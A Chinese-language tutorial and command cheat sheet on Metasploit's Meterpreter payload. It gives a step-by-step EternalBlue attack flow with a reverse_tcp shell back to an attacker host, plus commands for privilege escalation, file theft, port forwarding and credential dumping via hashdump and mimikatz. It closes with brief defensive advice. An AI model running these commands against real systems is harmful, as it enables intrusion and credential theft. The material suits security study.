
什么是 MeterpreterMeterpreter 是 Metasploit 框架中最强大的后门载荷Payload一种内存级交互式 Shell提供远程控制和高级渗透功能。全称Meta-Interpreter运行在内存中不创建独立进程核心特性特性说明 内存注入不落地磁盘规避杀毒软件 多平台支持Windows/Linux/macOS/Android 高隐匿性通过 DLL 注入方式运行 模块化设计支持大量扩展模块 双向加密通信传输数据加密 交互式 Shell真正的远程命令行工作原理使用场景场景说明后渗透阶段获得 Shell 后提升为 Meterpreter权限维持在目标机器建立持久后门横向移动以目标为跳板攻击内网其他机器信息收集抓密码、截屏幕、键盘记录数据窃取下载文件、读取数据库内网穿透建立隧道进入内网常用命令系统操作# 查看系统信息 sysinfo # 查看当前用户 getuid # 获取 Shell shell # 上传/下载文件 upload /path/file C:\\target\\ download C:\\secret.txt /tmp/ # 截图 screenshot # 屏幕录制 screengrab权限操作# 提权到 SYSTEM getsystem # 迁移进程 migrate pid # 查看进程 ps网络操作# 查看网络配置 ipconfig # 查看路由表 route # 建立端口转发 portfwd add -l 3389 -p 3389 -r 192.168.1.100密码/凭证# 加载 mimikatz 模块 load kiwi # 获取明文密码 creds_all # 获取哈希 hashdump常见使用流程1. msfconsole 启动控制台 2. use exploit/windows/smb/eternalblue # 选择漏洞利用模块 3. set payload windows/x64/meterpreter/reverse_tcp # 设置 Meterpreter Payload 4. set LHOST 攻击机IP 5. set RHOST 目标IP 6. exploit # 发起攻击 7. sysinfo # 确认目标系统 8. getsystem # 提权 9. hashdump # 抓密码哈希优缺点优点缺点✅ 内存注入难以被查杀❌ 依赖 Metasploit 框架✅ 功能强大模块丰富❌ 流量特征明显大目标✅ 跨平台支持❌ 需要正确配置 Handler✅ 易于扩展定制❌ 已被安全设备重点监控防御建议 监控网络流量 — 检测异常的 Meterpreter 通信特征 端点检测 — 检查进程注入行为 内存保护 — 使用 EDR 防护 最小权限 — 限制用户权限减少提权风险一句话总结Meterpreter 是渗透测试中的瑞士军刀是后渗透阶段的标配工具功能覆盖远程控制、信息收集、权限提升、内网横移等全链路。⚠️声明 Meterpreter 是安全研究工具请勿用于未授权测试。